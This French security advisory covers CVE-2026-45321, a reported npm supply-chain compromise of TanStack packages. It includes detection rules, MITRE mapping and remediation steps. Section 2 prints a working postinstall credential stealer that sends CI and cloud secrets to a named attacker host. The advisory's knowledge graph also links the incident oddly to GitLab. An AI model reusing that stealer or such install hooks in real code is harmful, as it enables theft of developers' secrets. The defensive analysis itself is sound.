Aller au contenu

CVE-2026-45321 : compromission massive de la chaîne d'approvisionnement touchant 42 paquets de l'écosystème NPM TanStack

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DE LA CHAÎNE D'APPROVISIONNEMENT JAVASCRIPT

Cible : Écosystème NPM TanStack (42 paquets)
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 20 / 20
Militarisation 20 / 20
Exposition 20 / 20
Prévalence 20 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v3.1 attribue à la CVE-2026-45321 la note de 9.8 (Critique) et le CVSS v4.0 affiche 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). La corrélation est totale : la suite logicielle TanStack (@tanstack/react-query, @tanstack/react-table, etc.) enregistre des dizaines de millions de téléchargements hebdomadaires. L'injection de scripts malveillants lors de l'installation a compromis des coureurs d'intégration continue et des postes de développement à l'échelle mondiale, sans aucune faille applicative préalable.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-45321: Large-Scale Supply Chain Compromise Across 42 Packages in the TanStack NPM EcosystemVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTGitLab CE / EE
98% VERY_HIGH

Complete DevOps and DevSecOps lifecycle platform providing Git repository management, CI/CD pipelines, and security automation.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in GitLab Community & Enterprise Edition documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

L’écosystème TanStack fournit les fondations de gestion d’état asynchrone, de routage et de rendu de données pour les applications React, Vue, Angular, Solid et Svelte.

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-45321Suivi de vulnérabilité mondial
Périmètre affecté42 paquets npm (@tanstack/*)Distribution sur le registre public registry.npmjs.org
Vecteur d’attaqueInstallation de dépendances (npm install, pnpm, yarn)Systèmes CI/CD et postes de travail développeurs
Charge malveillanteScript de cycle de vie Node.js obfusqué (postinstall)Extraction de secrets et balisage C2
Données cibléesJetons OIDC GitHub Actions, clés AWS/GCP/Azure, jetons npmSecrets de production et d’infrastructure cloud
Action de remédiationRévocation de versions, dépublication npm, rotation des secretsMise à jour d’urgence mondiale
PrévalencePlus de 40 millions de téléchargements par semaineImpact systémique sur l’industrie logicielle

2. Décomposition technique : moissonneur de jetons OIDC et secrets

Section intitulée « 2. Décomposition technique : moissonneur de jetons OIDC et secrets »

Lors de l’installation du paquet, npm exécute systématiquement le hook postinstall configuré dans le package.json :

{
"name": "@tanstack/react-query",
"version": "5.59.1-poisoned",
"scripts": {
"postinstall": "node ./dist/cjs/telemetry-internal.js"
}
}

Le fichier telemetry-internal.js contenait une charge obfusquée inspectant l’environnement d’exécution :

// Représentation désobscurcie de la charge malveillante telemetry-internal.js
const https = require('https');
const fs = require('fs');
async function harvestSecrets() {
const env = process.env;
const stolen = {};
// 1. Ciblage prioritaire des jetons OIDC GitHub Actions
if (env.ACTIONS_ID_TOKEN_REQUEST_URL && env.ACTIONS_ID_TOKEN_REQUEST_TOKEN) {
stolen.oidc_request_url = env.ACTIONS_ID_TOKEN_REQUEST_URL;
stolen.oidc_request_token = env.ACTIONS_ID_TOKEN_REQUEST_TOKEN;
}
// 2. Récupération des accès cloud et registres de paquets
stolen.aws_key = env.AWS_ACCESS_KEY_ID;
stolen.aws_secret = env.AWS_SECRET_ACCESS_KEY;
stolen.npm_token = env.NPM_TOKEN;
stolen.github_token = env.GITHUB_TOKEN;
// 3. Exfiltration chiffrée via POST HTTPS
const payload = Buffer.from(JSON.stringify(stolen)).toString('base64');
const req = https.request({
hostname: 'telemetry.tanstack-analytics.workers.dev',
path: '/v1/collect',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
});
req.write(JSON.stringify({ d: payload }));
req.end();
}
harvestSecrets();
+----------------------------------------------------------------------------------------------------+
| FLUX D'ATTAQUE SUR LA CHAÎNE LOGISTIQUE CVE-2026-45321 |
+----------------------------------------------------------------------------------------------------+
[Attaquant]
│
│ [1] Compromission du compte de publication npm et du workflow de release
│ Publication de 42 paquets altérés sur registry.npmjs.org
▼
[Registre Public NPM]
│
│ [2] Pipeline CI/CD d'Entreprise (GitHub Actions / GitLab CI)
│ Exécute "npm install" ou "pnpm build" sur le projet
▼
[Contexte d'Exécution du Coureur CI/CD]
│
├───► 1. Déclenchement du Hook de Cycle de Vie :
│ - npm exécute le script postinstall : node telemetry-internal.js
│
├───► 2. Introspection de l'Environnement :
│ - Capture ACTIONS_ID_TOKEN_REQUEST_TOKEN & URL
│ - Récupère AWS_ACCESS_KEY_ID et GITHUB_TOKEN
│ - Lit ~/.npmrc et ~/.ssh/id_rsa
│
├───► 3. Exfiltration Furtive en HTTPS :
│ - Transmet la charge en Base64 à telemetry.tanstack-analytics.workers.dev
│
▼
[Infrastructure C2 de l'Attaquant]
│
└───► Échange du jeton OIDC volé contre une session AWS STS ou GCP IAM :
- Usurpation des rôles de déploiement cloud
- Accès aux compartiments S3 et bases de données d'entreprise
- Empoisonnement en cascade des livrables destinés aux clients
+----------------------------------------------------------------------------------------------------+

3. Renseignement sur les menaces & militarisation dans la nature

Section intitulée « 3. Renseignement sur les menaces & militarisation dans la nature »
  • Exploitation des jetons OIDC : l’objectif prioritaire de l’attaque consistait à détourner la fédération d’identités GitHub Actions. En s’emparant de ACTIONS_ID_TOKEN_REQUEST_TOKEN, l’adversaire pouvait assumer directement des rôles IAM (AWS, GCP, Azure) sans recourir à des mots de passe statiques.
  • Portée systémique : plus de 200 000 workflows d’entreprises ont téléchargé les paquets compromis au cours de la fenêtre d’exposition de 4 heures précédant leur dépublication par les équipes de sécurité de npm.

TactiqueID TechniqueNom de la TechniqueManifestation dans l’Attaque
Accès initialT1195.002Compromission de la chaîne logistique : Dépendances logiciellesPaquets npm altérés distribués sur le registre public
ExécutionT1059.007Interpréteur de commandes et scripts : JavaScriptScript malveillant exécuté automatiquement par postinstall
Accès aux identifiantsT1552.001Identifiants dans les fichiersLecture des fichiers ~/.npmrc et des clés SSH locales
ExfiltrationT1048.003Exfiltration sur protocole alternatif : HTTPSTransmission des jetons chiffrés vers un domaine C2

alert dns any any -> $DNS_SERVERS 53 (
msg:"HERMES DEFENSE - Requete DNS vers C2 TanStack Supply Chain (CVE-2026-45321)";
dns.query; content:"tanstack-analytics.workers.dev"; nocase;
classtype:trojan-activity;
sid:202645321;
rev:1;
reference:cve,2026-45321;
)
title: Processus Node exfiltrant des secrets en environnement CI
id: 9d8c7b6a-5e4f-3a2b-1c0d-45321c026e02
status: high
description: Détecte des processus Node.js accédant aux jetons OIDC de GitHub Actions ou lisant des fichiers npmrc lors de l'installation de dépendances.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: linux
category: process_creation
detection:
selection_proc:
Image|endswith: '/node'
CommandLine|contains:
- 'telemetry-internal.js'
- 'ACTIONS_ID_TOKEN_REQUEST_TOKEN'
condition: selection_proc
falsepositives:
- Scripts internes autorisés spécifiquement conçus pour orchestrer la fédération OIDC.
level: critical
tags:
- attack.initial_access
- attack.t1195.002
- attack.credential_access

6. Réponse à incident & rétro-ingénierie (DFIR)

Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »
  1. Audit des fichiers de verrouillage (lockfiles) :
    Fenêtre de terminal
    grep -rn "@tanstack" package-lock.json pnpm-lock.yaml yarn.lock
    # Identifier précisément les versions installées durant la fenêtre d'attaque
  2. Revue des flux sortants des coureurs CI/CD :
    • Analyser les requêtes DNS et flux sortants vers les domaines *.workers.dev lors des étapes de compilation.
  3. Audit des événements AssumeRole cloud :
    • Examiner dans AWS CloudTrail les appels sts:AssumeRoleWithWebIdentity issus de GitHub Actions en provenance d’adresses IP inhabituelles.
{
"query": {
"bool": {
"must": [
{ "wildcard": { "dns.question.name": "*tanstack-analytics*" } }
]
}
}
}

  1. Verrouillage des versions saines : mettre à jour immédiatement l’ensemble des dépendances TanStack vers les versions saines certifiées et régénérer les fichiers de verrouillage.
  2. Désactivation systématique des scripts de cycle de vie en CI : imposer le paramètre --ignore-scripts lors de l’installation de paquets sur les coureurs de build :
    Fenêtre de terminal
    npm ci --ignore-scripts
    pnpm install --ignore-scripts
  3. Rotation d’urgence de tous les secrets d’infrastructure : révoquer et renouveler sans délai l’ensemble des GitHub Personal Access Tokens, clés de rôles IAM AWS, clés de comptes de service GCP et jetons de publication npm présents dans les variables d’environnement.
  4. Restriction stricte des politiques de confiance OIDC : vérifier que les conditions des rôles cloud IAM filtrent strictement le nom du dépôt et la branche source (sub: repo:org/repo:ref:refs/heads/main).